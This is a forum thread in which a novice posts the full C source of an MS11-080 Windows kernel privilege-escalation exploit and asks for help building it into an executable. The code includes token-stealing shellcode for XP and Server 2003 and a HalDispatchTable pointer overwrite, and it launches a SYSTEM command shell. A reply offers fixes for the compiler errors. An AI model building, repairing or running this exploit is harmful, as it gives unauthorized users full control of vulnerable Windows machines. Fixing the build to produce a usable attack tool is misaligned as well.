Can't build !

Question

KasmIR -2 Newbie Poster

11 Years Ago

Hello,
I try to compilate this progam!
It return "Error 4 error C2664: 'LoadLibraryExW' : cannot convert parameter 1 from 'char *' to 'LPCWSTR' c:\users\andrei\documents\visual studio 2010\projects\test\test\test.cpp 282 1 test
Error 3 error C2664: 'LoadLibraryW' : cannot convert parameter 1 from 'LPCSTR' to 'LPCWSTR' c:\users\andrei\documents\visual studio 2010\projects\test\test\test.cpp 200 1 test
Warning 2 warning C4806: '==' : unsafe operation: no value of type 'bool' promoted to type 'SOCKET' can equal the given constant c:\users\andrei\documents\visual studio 2010\projects\test\test\test.cpp 190 1 test
Warning 1 warning C4996: 'stricmp': The POSIX name for this item is deprecated. Instead, use the ISO C++ conformant name: _stricmp. See online help for details. c:\users\andrei\documents\visual studio 2010\projects\test\test\test.cpp"
I'm newbie in c, so who can help me with that. I need it builded(.exe)
Thank and sorry!

#pragma comment(lib,"psapi.lib")
#pragma comment(lib,"ws2_32.lib")

#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <Psapi.h>
#include <Windows.h>

#define DRIVERCOUNT 1024
#define DRIVERNAMESIZE 256
#define MEMRES (0x1000 | 0x2000)
#define PAGEEXE 0x00000040

// AFDJoinLeaf
#define IOCTL  0x000120bb  

#define IRPSTUFF_SIZE 256
#define TOKENSTEALING_SIZE 70
#define RESTORETOKEN_SIZE 28
#define RESTOREPTRS_SIZE 22
#define PADDING_SIZE 2
#define SHELLCODE_SIZE (PADDING_SIZE+RESTOREPTRS_SIZE+TOKENSTEALING_SIZE)

// This will trigger the path to AfdRestartJoin
CHAR* irpstuff   = "\x41\x41\x41\x41\x42\x42\x42\x42\x00\x00\x00\x00\x44\x44" \
    "\x44\x44\x01\x00\x00\x00\xE8\x00\x34\xF0\x00\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45";
//70 byte
CHAR* tokenstealing_xp =  "\x52\x53\x33\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x44\x8b\xc8" \
    "\x8b\x98\xc8\x00\x00\x00\x89\x1d\x00\x09\x02\x00\x8b\x80\x88\x00\x00\x00\x81\xe8\x88\x00" \
    "\x00\x00\x81\xb8\x84\x00\x00\x00\x04\x00\x00\x00\x75\xe8\x8b\x90\xc8\x00\x00\x00\x8b\xc1" \
    "\x89\x90\xc8\x00\x00\x00\x5b\x5a\xc2\x10";
//70 byte                
CHAR* tokenstealing_2k3 =  "\x52\x53\x33\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x38\x8b\xc8" \
    "\x8b\x98\xd8\x00\x00\x00\x89\x1d\x00\x09\x02\x00\x8b\x80\x98\x00\x00\x00\x81\xe8\x98\x00" \
    "\x00\x00\x81\xb8\x94\x00\x00\x00\x04\x00\x00\x00\x75\xe8\x8b\x90\xd8\x00\x00\x00\x8b\xc1" \
    "\x89\x90\xd8\x00\x00\x00\x5b\x5a\xc2\x10";
//28 byte                
CHAR* restore_token_xp =  "\x52\x33\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x44\x8b\x15\x00" \
    "\x09\x02\x00\x89\x90\xc8\x00\x00\x00\x5a\xc2\x10";
//28 byte                
CHAR* restore_token_2k3 =  "\x52\x33\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x38\x8b\x15\x00\x09" \
    "\x02\x00\x89\x90\xd8\x00\x00\x00\x5a\xc2\x10";

//22 byte
CHAR* restore_ptrs_layout="\x31\xc0\xb8\x00\x00\x00\x00\xa3\x00\x00\x00\x00\xb8\x00\x00\x00\x00\xa3\x00\x00\x00\x00";

//2 byte
CHAR* padding="\x90\x90";

typedef struct _IO_STATUS_BLOCK {
    NTSTATUS Status;
    ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;


typedef VOID (*PIO_APC_ROUTINE) (
    PVOID ApcContext,
    PIO_STATUS_BLOCK IoStatusBlock,
    ULONG Reserved
);

typedef NTSTATUS (NTAPI *_NtAllocateVirtualMemory)(IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN ULONG ZeroBits, IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect );

typedef NTSTATUS (*_ZwDeviceIoControlFile)(
    __in HANDLE FileHandle,
    __in_opt   HANDLE Event,
    __in_opt   PIO_APC_ROUTINE ApcRoutine,
    __in_opt   PVOID ApcContext,
    __out      PIO_STATUS_BLOCK IoStatusBlock,
    __in       ULONG IoControlCode,
    __in_opt   PVOID InputBuffer,
    __in       ULONG InputBufferLength,
    __out_opt  PVOID OutputBuffer,
    __in       ULONG OutputBufferLength
);

typedef enum _KPROFILE_SOURCE {
    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;

typedef DWORD (WINAPI *_NtQueryIntervalProfile)( KPROFILE_SOURCE ProfileSource, PULONG Interval );

LPVOID findSysBase(char* driver){
    LPVOID drivers[DRIVERCOUNT];
    DWORD cbNeeded;
    CHAR driverName[DRIVERNAMESIZE];
    DWORD index;
    DWORD driverCount;

    if(EnumDeviceDrivers(drivers,DRIVERCOUNT,&cbNeeded) && cbNeeded<DRIVERCOUNT){

        driverCount = cbNeeded /sizeof(drivers[0]);

        for(index=0;index<driverCount;index++){
            memset(driverName,0,DRIVERNAMESIZE);
            if(GetDeviceDriverBaseNameA(drivers[index],driverName,DRIVERNAMESIZE)>0){
                if(!stricmp(driver, driverName)){
                    return drivers[index];
                }
            }
        }
    }

    return NULL;
}

char* findKernelVersion(){
    LPVOID drivers[DRIVERCOUNT];
    DWORD cbNeeded;
    DWORD index;
    DWORD driverCount;

    char* driverName = (char*)calloc(DRIVERNAMESIZE,sizeof(CHAR));

    if(EnumDeviceDrivers(drivers,DRIVERCOUNT,&cbNeeded) && cbNeeded<DRIVERCOUNT){      
        driverCount = cbNeeded /sizeof(drivers[0]);
        for(index=0;index<driverCount;index++){
            memset(driverName,0,DRIVERNAMESIZE);
            if(GetDeviceDriverBaseNameA(drivers[index],driverName,DRIVERNAMESIZE)>0){
                if(strstr(driverName,"krnl")){
                    return driverName;
                }
            }
        }
    }
    return NULL;
}

int prepareAndConnectSocket(){

    WSADATA wsaData;
    int sock;
    struct sockaddr_in address;

    if (WSAStartup(0x202, &wsaData) != 0)
    {
        fprintf(stderr, "WSAStartup() failed");
        exit(1);
    }

    if ((sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,NULL,NULL)) == INVALID_SOCKET ){
        fprintf(stderr, "socket() failed");
        exit(1);
    }

    address.sin_family = AF_INET;
    address.sin_port = htons(4455);
    address.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (!connect(sock, (struct sockaddr *) &address, sizeof(struct sockaddr_in)) == INVALID_SOCKET){
        fprintf(stderr, "connect() failed: %d",GetLastError());
        exit(1);
    }

    return sock;
}

FARPROC GetFunctionAddress(LPCSTR libraryName, LPCSTR functionName) {
    HMODULE hModule;
    hModule = LoadLibrary(libraryName);
    if(hModule==NULL)
        return NULL;

    return GetProcAddress(hModule,functionName);
}

char* int2chararray(int i)
{
    char* ch_array=(char*)calloc(4,sizeof(char));
    ch_array[0]=i&0xff;
    ch_array[1]=(i>>8)&0xff;
    ch_array[2]=(i>>16)&0xff;
    ch_array[3]=(i>>24)&0xff;
    return ch_array;
}

int main(int argc, char* argv[]){

    LPVOID driverBase,halBase;
    _NtAllocateVirtualMemory NtAllocateVirtualMemory;
    _ZwDeviceIoControlFile ZwDeviceIoControlFile;
    _NtQueryIntervalProfile NtQueryIntervalProfile;
    int client;
    SIZE_T written;
    NTSTATUS status;
    HMODULE hKernel;
    int krnlBase;
    char* os;
    int HaliQuerySystemInformation, HalpSetSystemInformation, HalDispatchTable;
    int shellcode_address_dep, shellcode_address_nodep;
    int regionSize = 0x1000;
    int baseAddr = 0x1001;
    IO_STATUS_BLOCK IoStatusBlock;
    unsigned long out;
    CHAR* restore_ptrs,*shellcode;

    printf("[*] MS11-080 Privilege Escalation Exploit\n");

    if(argc < 2){
        printf("usage:  %s <XP|2K3>\n",argv[0]);
        return 0;
    }else if(!stricmp(argv[1],"XP")){
        os = "XP";
    }else if(!stricmp(argv[1],"2K3")){
        os = "2K3";
    }else{
        printf("usage:  %s <XP|2K3>\n",argv[0]);
        return 0;  
    }

    restore_ptrs = (CHAR*)malloc(RESTOREPTRS_SIZE);
    memcpy(restore_ptrs,restore_ptrs_layout,RESTOREPTRS_SIZE);

    client = prepareAndConnectSocket();

    NtAllocateVirtualMemory = (_NtAllocateVirtualMemory) GetFunctionAddress("ntdll.dll","NtAllocateVirtualMemory");
    if(!NtAllocateVirtualMemory){
        fprintf(stderr, "GetProcAddress() failed");
        exit(1);
    }

    ZwDeviceIoControlFile = (_ZwDeviceIoControlFile) GetFunctionAddress("ntdll.dll","ZwDeviceIoControlFile");
    if(!ZwDeviceIoControlFile){
        fprintf(stderr, "GetProcAddress() failed");
        exit(1);
    }

    NtQueryIntervalProfile = (_NtQueryIntervalProfile) GetFunctionAddress("ntdll.dll","NtQueryIntervalProfile");
    if(!NtQueryIntervalProfile){
        fprintf(stderr, "GetProcAddress() failed");
        exit(1);
    }

    if(NtAllocateVirtualMemory(GetCurrentProcess(),(PVOID*)&baseAddr,0x0,(PSIZE_T)&regionSize,MEMRES, PAGEEXE)!=0){
        fprintf(stderr, "NtAllocateVirtualMemory() failed");
        exit(1);
    }

    WriteProcessMemory(GetCurrentProcess(),(LPVOID)0x1000,irpstuff,0x100,&written);
    VirtualProtect((LPVOID)0x00020000,0x1000,PAGEEXE,&written);

    hKernel = LoadLibraryEx(findKernelVersion(),NULL,DONT_RESOLVE_DLL_REFERENCES);
    krnlBase = (int)findSysBase(findKernelVersion());
    HalDispatchTable = (int)GetProcAddress(hKernel,"HalDispatchTable");

    HalDispatchTable -= (int)hKernel;
    HalDispatchTable += krnlBase;

    printf("[*] HalDispatchTable Address 0x%08x\n",HalDispatchTable);

    halBase = findSysBase("hal.dll");

    if(!strcmp(os,"XP")){//XP
        HaliQuerySystemInformation = (int)halBase + 0x16bba;
        HalpSetSystemInformation = (int)halBase + 0x19436;
    }else{// Win2k3 SP2
        HaliQuerySystemInformation = (int)halBase + 0x1fa1e;
        HalpSetSystemInformation = (int)halBase + 0x21c60;
    }

    printf("[*] HaliQuerySystemInformation address 0x%08x\n",HaliQuerySystemInformation);
    printf("[*] HalpSetSystemInformation address 0x%08x\n",HalpSetSystemInformation);

    shellcode_address_dep   = 0x0002071e;
    shellcode_address_nodep = 0x000207b8;

    memcpy(restore_ptrs+3,int2chararray(HalpSetSystemInformation),4);
    memcpy(restore_ptrs+8,int2chararray(HalDispatchTable+0x8),4);
    memcpy(restore_ptrs+13,int2chararray(HaliQuerySystemInformation),4);
    memcpy(restore_ptrs+18,int2chararray(HalDispatchTable+0x4),4);

    shellcode = (CHAR*)malloc(PADDING_SIZE+RESTOREPTRS_SIZE+TOKENSTEALING_SIZE);

    memcpy(shellcode,padding,PADDING_SIZE);
    memcpy(shellcode+PADDING_SIZE,restore_ptrs,RESTOREPTRS_SIZE);
    if(!strcmp(os,"XP")){//XP
        memcpy(shellcode+PADDING_SIZE+RESTOREPTRS_SIZE,tokenstealing_xp,TOKENSTEALING_SIZE);
    }else{// Win2k3 SP2
        memcpy(shellcode+PADDING_SIZE+RESTOREPTRS_SIZE,tokenstealing_2k3,TOKENSTEALING_SIZE);
    }

    WriteProcessMemory(GetCurrentProcess(),(char*)shellcode_address_dep,shellcode,SHELLCODE_SIZE,&written);
    WriteProcessMemory(GetCurrentProcess(),(char*)shellcode_address_nodep,shellcode,SHELLCODE_SIZE,&written);

    ZwDeviceIoControlFile((HANDLE)client,NULL,NULL,NULL,&IoStatusBlock,IOCTL,(CHAR*)0x1004,0x108,(CHAR*)(HalDispatchTable+5),0x0);

    printf("[*] Triggering AFDJoinLeaf pointer overwrite...\n");
    NtQueryIntervalProfile((KPROFILE_SOURCE)0x1337,&out);

    printf("[*] Spawning a SYSTEM shell\n");
    system("cmd.exe /T:C0 /K cd c:\\windows\\system32");

    printf("[*] Restoring token...\n");

    memset(shellcode,0,SHELLCODE_SIZE);
    memcpy(shellcode,padding,PADDING_SIZE);
    memcpy(shellcode+PADDING_SIZE,restore_ptrs,RESTOREPTRS_SIZE);
    if(!strcmp(os,"XP")){//XP
        memcpy(shellcode+PADDING_SIZE+RESTOREPTRS_SIZE,restore_token_xp,RESTORETOKEN_SIZE);
    }else{// Win2k3 SP2
        memcpy(shellcode+PADDING_SIZE+RESTOREPTRS_SIZE,restore_token_2k3,RESTORETOKEN_SIZE);
    }

    WriteProcessMemory(GetCurrentProcess(),(char*)shellcode_address_dep,shellcode,SHELLCODE_SIZE,&written);
    WriteProcessMemory(GetCurrentProcess(),(char*)shellcode_address_nodep,shellcode,SHELLCODE_SIZE,&written);

    ZwDeviceIoControlFile((HANDLE)client,NULL,NULL,NULL,&IoStatusBlock,IOCTL,(CHAR*)0x1004,0x108,(CHAR*)(HalDispatchTable+5),0x0);

    NtQueryIntervalProfile((KPROFILE_SOURCE)0x1337,&out);

    printf("[*] Restore done!\n");
    system("pause");
    return 0;
}

c

2 Contributors
1 Reply
242 Views
20 Minutes Discussion Span
Latest Post 11 Years Ago Latest Post by deceptikon

Reply to this topic

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.

deceptikon 1,790 Code Sniper Team Colleague Featured Poster · Answer 1 · 2012-08-08T19:57:45+00:00

cannot convert parameter 1 from 'char *' to 'LPCWSTR'

LPCWSTR is a wide character type. Make sure you don't have Unicode enabled anywhere in your project or code if you don't intend to use the wide character functions.

unsafe operation: no value of type 'bool' promoted to type 'SOCKET'

This one is pretty obvious; you're comparing a boolean to a SOCKET. Could you post the exact line this happens on? It's certainly not line 190.

warning C4996

I'm not the type to recommend disabling warnings, but this one is frivolous and stupid.